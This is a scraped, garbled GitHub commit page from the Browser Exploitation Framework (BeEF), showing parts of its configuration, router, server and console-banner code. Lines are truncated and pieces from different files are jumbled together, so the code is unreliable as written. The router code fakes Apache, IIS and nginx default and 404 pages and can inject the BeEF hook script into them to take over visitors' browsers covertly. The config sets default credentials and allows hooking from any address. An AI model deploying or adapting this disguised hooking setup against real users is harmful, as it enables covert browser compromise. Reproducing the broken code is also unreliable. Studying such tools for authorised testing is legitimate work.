https://github.com/beefproject/beef/commit/1583a10a5a02f3162c9ab7482ab27e813f0abec7#diff-bc67b952e8a9350e40576fa30cdf717c
core/main/router/router.rb
@@ -1,136 +1,136 @@
Why GitHub?
Enterprise Explore
Marketplace
Pricing
Search
Sign in Sign up
beefproject / beef Code Issues 99
Watch 372
Insights
Star 4,416
Fork 1,061
Browse files
... 11#
... @@ -1,62 +1,59 @@
2 2
3 3
4 4
55#
6 6 77
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
# BeEF Configuration file
beef:
version: '0.4.7.0-alpha'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
user: "beef"
passwd: "beef"
# Interface / IP restrictions
restrictions:
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting to 1,000 (ms) if you want more responsiveness
# when sending modules and retrieving results.
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 1000
# Host Name / Domain Name
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
# set the public hostname below:
#public: "" # public hostname/IP address
# Reverse Proxy / NAT
# If you want BeEF to be accessible behind a reverse proxy or NAT,
# set both the publicly accessible hostname/IP address and port below:
#public: "" # public hostname/IP address
#public_port: "" # public port (experimental)
# Web Admin user interface URI
web_ui_basepath: "/ui"
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple origins to access the RESTful API using CORS
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enabled
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
module BeEF
module Core
module Router
#@note This is the main Router parent class.
#@note All the HTTP handlers registered on BeEF will extend this class.
class Router < Sinatra::Base
config = BeEF::Core::Configuration.instance
configure do
set :show_exceptions, false
end
# @note Override default 404 HTTP response
not_found do
if config.get("beef.http.web_server_imitation.enable")
type = config.get("beef.http.web_server_imitation.type")
case type
when "apache"
#response body
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
"<html><head>" +
"<title>404 Not Found</title>" +
"</head><body>" +
"<h1>Not Found</h1>" +
"<p>The requested URL was not found on this server.</p>" +
"<hr>" +
"<address>Apache/2.2.3 (CentOS)</address>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_
"</body></html>"
when "iis"
#response body
"" +
"<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
"<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
"<STYLE type=\"text/css\">" +
" BODY { font: 8pt/12pt verdana } " +
" H1 { font: 13pt/15pt verdana }" +
" H2 { font: 8pt/12pt verdana }" +
" A:link { color: red }" +
" A:visited { color: maroon }" +
"</STYLE>" +
"</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
"<h1>The page cannot be found</h1>" +
"The page you are looking for might have been removed, had its name changed, or is temporarily unava
"<hr>" +
"<p>Please try the following:</p>" +
"<ul>" +
"<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and
"<li>If you reached this page by clicking a link, contact" +
" the Web site administrator to alert them that the link is incorrectly formatted." +
"</li>" +
"<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
"</ul>" +
"<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
"<hr>" +
"<p>Technical Information (for support personnel)</p>" +
"<ul>" +
"
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>Abou
"</ul>" +
"</TD></TR></TABLE>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_
"</BODY></HTML>"
when "nginx"
#response body
"<html>\n"+
"<head><title>404 Not Found</title></head>\n" +
"<body bgcolor=\"white\">\n" +
"<center><h1>404 Not Found</h1></center>\n" +
"<hr><center>nginx</center>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_
"</body>\n" +
"</html>\n"
else
"Not Found."
end else
"Not Found."
end end
before do
# @note Override Server HTTP response header
if config.get("beef.http.web_server_imitation.enable")
type = config.get("beef.http.web_server_imitation.type")
case type
when "apache"
4
core/main/server.rb
@@ -1,157 +1,161 @@
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
# Remove Thin 'Server' response header
Thin.send :remove_const, :SERVER
Thin::SERVER = nil
module BeEF
module Core
class Server
include Singleton
# @note Grabs the version of beef the framework is deployed on
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore
def initialize
@configuration = BeEF::Core::Configuration.instance
beef_proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
@url = "#{beef_proto}://#{beef_host}:#{beef_port}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
@rack_app
@semaphore = Mutex.new
end
def to_h
{
}
end
#
# Mounts a handler, can either be a hard or soft mount
#
# @param [String] url The url to mount
# @param [Class] http_handler_class Class to call once mount is triggered
# @param args Arguments to pass to the http handler class
#
def mount(url, http_handler_class, args = nil)
# argument type checking
raise TypeError, '"url" needs to be a string' unless url.string?
if args.nil?
@mounts[url] = http_handler_class
else
@mounts[url] = http_handler_class, *args
end
print_debug "Server: mounted handler '#{url}'"
end
#
# Unmounts handler
#
# @param [String] url URL to unmount.
#
def unmount(url)
raise TypeError, '"url" needs to be a string' unless url.string?
@mounts.delete url
end
#
# Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime)
#
def remap
@rack_app.remap @mounts
end
+
- +
- +
- +
data += "UI URL:
data += "UI URL:
print_more data
end end
#{proto}://#{host}:#{port}#{web_ui_basepath}/panel\n" if admin_ui
#{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
- +
Pull requests 1
Projects 0
Wiki
Security
Merge pull request #1678 from bcoles/decouple_admin_ui_basepath Decouple Admin UI `base_path`
master (#1678) beef-0.4.7.3 ... beef-0.4.7.1
bcoles committed on 17 Feb Verified 2 parents 47ae043 + 9c9119f
Showing 10 changed files with 36 additions and 23 deletions. 4 config.yaml
commit 1583a10a5a02f3162c9ab7482ab27e813f0abec7
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: true
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
# For information on using other databases please read the
# README.databases file
# supported DBs: sqlite, mysql, postgres
# NOTE: you must change the Gemfile adding a gem require line like:
#
# or
# gem "dm-mysql-adapter"
# if you want to switch drivers from sqlite to postgres (or mysql).
# Finally, run a 'bundle install' command and start BeEF.
driver: "sqlite"
# db_file is only used for sqlite
db_file: "beef.db"
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 3306
db_name: "beef"
db_user: "beef"
db_passwd: "beef"
db_encoding: "UTF-8"
# Autorun Rule Engine
autorun:
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventua
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
# IP Geolocation
# NOTE: requires MaxMind database:
# /usr/bin/curl -O https://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz
# /bin/gunzip GeoLite2-City.tar.gz && /bin/tar xvf GeoLite2-City.tar && /bin/rm GeoLite2-City.tar
# /bin/mkdir -p /opt/GeoIP && /bin/mv GeoLite2-City_*/* /opt/GeoIP && /bin/rmdir GeoLite2-City_*
geoip:
enable: true
database: '/opt/GeoIP/GeoLite2-City.mmdb'
# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
phishing_frenzy:
enable: false
# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
# and can be enabled via their respective 'config.yaml' file
extension:
admin_ui:
enable: true
base_path: "/ui"
demos:
enable: true
events:
enable: true
evasion:
enable: false
requester:
enable: true
proxy:
enable: true
network:
enable: true
metasploit:
enable: false
social_engineering:
enable: true
xssrays:
enable: true
core/main/console/banners.rb
@@ -40,54 +40,54 @@
gem "dm-postgres-adapter"
end
#
# Prints the number of network interfaces beef is operating on.
# Looks like that:
#
# [14:06:48][*] 5 network interfaces were detected.
#
def print_network_interfaces_count
# get the configuration information
configuration = BeEF::Core::Configuration.instance
beef_host = configuration.get('beef.http.host')
# create an array of the interfaces the framework is listening on
if beef_host == '0.0.0.0' # the framework will listen on all interfaces
interfaces = Socket.ip_address_list.map {|x| x.ip_address if x.ipv4?}
interfaces.delete_if {|x| x.nil?} # remove if the entry is nill
else # the framework will listen on only one interface
interfaces = [beef_host]
end
self.interfaces = interfaces
# output the banner to the console
print_info "#{interfaces.count} network interfaces were detected."
end
#
# Prints the route to the network interfaces beef has been deployed on.
# Looks like that:
#
# [14:06:48][+]
# [14:06:48]
# [14:06:48]
# [14:06:48][+]
# [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js
# [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel
#
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? 'https' : 'http'
hook_file = configuration.get("beef.http.hook_file")
admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false
web_ui_basepath = configuration.get("beef.http.web_ui_basepath")
admin_ui_path = configuration.get("beef.extension.admin_ui.base_path")
# display the hook URL and Admin UI URL on each interface from the interfaces array
self.interfaces.map do |host|
print_info "running on network interface: #{host}"
port = configuration.get("beef.http.port")
data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
data += "UI URL: #{proto}://#{host}:#{port}#{web_ui_basepath}/panel\n" if admin_ui
data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
print_more data
end
# display the public hook URL and Admin UI URL
if configuration.get("beef.http.public")
host = configuration.get('beef.http.public')
port = configuration.get("beef.http.public_port") || configuration.get('beef.http.port')
print_info 'Public:'
data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
headers
when "iis"
headers
"Server" => "Apache/2.2.3 (CentOS)",
"Content-Type" => "text/html; charset=UTF-8"
"Server" => "Microsoft-IIS/6.0",
"X-Powered-By" => "ASP.NET",
"Content-Type" => "text/html; charset=UTF-8"
running on network interface: 192.168.255.1
| Hook URL: http://192.168.255.1:3000/hook.js
| UI URL: http://192.168.255.1:3000/ui/panel
running on network interface: 127.0.0.1
#
# Print loaded extensions
#
def print_loaded_extensions
extensions = BeEF::Extensions.get_loaded
print_info "#{extensions.size} extensions enabled."
output = ''
#extensions.each do |key,ext|
# output += "#{ext['name']}\n"
#end
print_more output
end
#
# Print loaded modules
#
def print_loaded_modules
print_info "#{BeEF::Modules::get_enabled.count} modules enabled."
end
#
# Print WebSocket servers
#
def print_websocket_servers
config = BeEF::Core::Configuration.instance
ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout')
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{ws_poll_t
if config.get("beef.http.websocket.secure")
print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], tim
end
end end
end
end end end
when "nginx"
headers "Server" => "nginx",
"Content-Type" => "text/html"
print_error "You have an error in beef.http.web_server_imitation.type! Supported values are: apache, iis
end end
# @note If CORS is enabled, expose the appropriate headers
# this apparently duplicate code is needed to reply to preflight OPTIONS requests, which need to respond with
# and be able to handle requests with a JSON content-type
if request.request_method == 'OPTIONS' && config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET",
"Access-Control-Allow-Headers" => "Content-Type"
halt 200
end
# @note If CORS is enabled, expose the appropriate headers
if config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET"
end end
# @note Default root page
get "/" do
if config.get("beef.http.web_server_imitation.enable")
bp = config.get "beef.http.web_ui_basepath"
bp = config.get "beef.extension.admin_ui.base_path"
type = config.get("beef.http.web_server_imitation.type")
case type
when "apache"
"
else
"<head>" +
"<title>Apache HTTP Server Test Page powered by CentOS</title>" +
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />" + "<style type=\"text/css\">" +
"body {" +
"background-color: #fff; " +
"color: #000;" +
"font-size: 0.9em;" +
"font-family: sans-serif,helvetica;" +
"margin: 0;" +
"padding: 0; " +
"} "+
":link { " +
"color: #0000FF; " +
"} "+
":visited {
"color: #0000FF;
"} "+
"a:hover {
"color: #3399FF;
"} "+
"h1{ "+
" text-align: center;
" margin: 0;
" padding: 0.6em 2em 0.4em;
" background-color: #3399FF;" +
" color: #ffffff; " +
" font-weight: normal; " +
" font-size: 1.75em; " +
" border-bottom: 2px solid #000; " +
"} "+
"h1 strong {" +
"font-weight: bold; " +
"} "+
"h2{ "+
" font-size: 1.1em;" +
"font-weight: bold; " +
"} "+ ".content { " +
" padding: 1em 5em;
"} "+ ".content-columns {
" /* Setting relative positioning allows for
" absolute positioning for sub-classes */
" position: relative;
" padding-top: 1em;
"}
".content-column-left { " +
" /* Value for IE/Win; will be overwritten for other browsers */" +
" width: 47%; " +
" padding-right: 3%; " +
" float: left;
" padding-bottom: 2em;
"}
".content-column-right {
" /* Values for IE/Win; will be overwritten for other browsers */" +
" width: 47%; " +
" padding-left: 3%; " +
" float: left; " +
" padding-bottom: 2em;
"}
".content-columns>.content-column-left, .content-columns>.content-column-right {" +
" /* Non-IE/Win */" +
"} "+ "img{ "+
" border: 2px solid #fff; " +
" padding: 2px;
" margin: 2px;
"} "+ "a:hover img { " +
" border: 2px solid #3399FF;
"} "+
"</style>
"</head>
"<body>
"<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>" +
"<div class=\"content\">" +"<div class=\"content-middle\">" +
"<p>This page is used to test the proper operation of the Apache HTTP server after it has been insta "</div>" +
"<hr />" +
"<div class=\"content-columns\">" +
"<div class=\"content-column-left\"> " +
"<h2>If you are a member of the general public:</h2>" +
"
The fact that you are seeing this page indicates that the website you just visited is either exp "
If you would like to let the administrators of this website know that you've seen this page inst "
For example, if you experienced problems while visiting www.example.com, you should send e-mail "" +
"<div class=\"content-column-right\">" +
"<h2>If you are the website administrator:</h2>" +
"
You may now add content to the directory /var/www/html/. Note that until you do so, peo "
You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks fo "
http://httpd.apache.org/\"> src=\"#{bp}/media/images/icons/apache_pb.gif\" alt=\" "" +
"</div>" +
"</div>" +
" <div class=\"content\">" +
"
About CentOS:
The Community ENTerprise Operating SystemFor information on CentOS please visit the CentOS" class="redactor-linkify-object">http://www.centos.org/\">CentOS website "Note:
CentOS is an Operating System and it is used to power this website; however, th "
Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do w "
For example, if this website is www.example.com, you would find the owner of the example.com dom "
" + "" +
"</div>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_ "</body>" +
"</html>"
when "iis"
"<html>" +
"<head>" +
"<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
"<title ID=titletext>Under Construction</title>" +
"</head>" +
"<body bgcolor=white>" +
"<table>" +
"<tr>" +
"<td ID=tableProps width=70 valign=top align=center>" +
"<img ID=pagerrorImg src=\"#{bp}/media/images/icons/pagerror.gif\" width=36 height=48>" +
"<td ID=tablePropsWidth width=400>" +
"<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">" +
"<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>" +
"<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; col
"The site you are trying to view does not currently have a default page. It may be in the process of
"<P ID=term1>Please try this site again later. If you still experience the problem, try contacting t
"<hr size=1 color=\"blue\">" +
"<P ID=message1>If you are the Web site administrator and feel you have received this message in err
"<h5 ID=head1>To access IIS Help</h5>" +
"<ol>" +
"<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>." +
"<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears." +
"<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>." +
"<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>" +
"</td>" +
"</tr>" +
"</table>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_
"</body>" +
"</html>"
when "nginx"
"<!DOCTYPE html>\n" +
"<html>\n" +
"<head>\n" +
"<title>Welcome to nginx!</title>\n" +
"<style>\n" +
"
"
"
"
"
"</style>\n" +
"</head>\n" +
"<body>\n" +
"<h1>Welcome to nginx!</h1>\n" +
"<p>If you see this page, the nginx web server is successfully installed and\n" +
"working. Further configuration is required.</p>\n\n" +
"<p>For online documentation and support please refer to\n" +
"nginx.org.
\n" +
"Commercial support is available at\n" +
"nginx.com.\n\n" +
"<p><em>Thank you for using nginx.</em></p>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_
"</body>\n" +
"</html>\n"
else
""
end end
end
end end
end end
}\n" +
" +
" +
"+
" +
" +
"+
" + "+
" + " +
" +
" +
=> VERSION,
=> @url,
=> @root_dir,
=> @configuration.get('beef.http.host'),
=> @configuration.get('beef.http.port'),
=> @configuration.get('beef.http.public'),
" +
body {\n" +
width: 35em;\n" +
margin: 0 auto;\n" +
font-family: Tahoma, Verdana, Arial, sans-serif;\n" +
" +
'beef_version'
'beef_url'
'beef_root_dir'
'beef_host'
'beef_port'
'beef_public'
'beef_public_port' => @configuration.get('beef.http.public_port'),
'beef_hook' => @configuration.get('beef.http.hook_file'),
'beef_proto' => @configuration.get('beef.http.https.enable') == true ? 'https' : 'http',
'client_debug' => @configuration.get('beef.client_debug')
Discussions
Become a Hackaday.io Member
Create an account to leave a comment. Already have an account? Log In.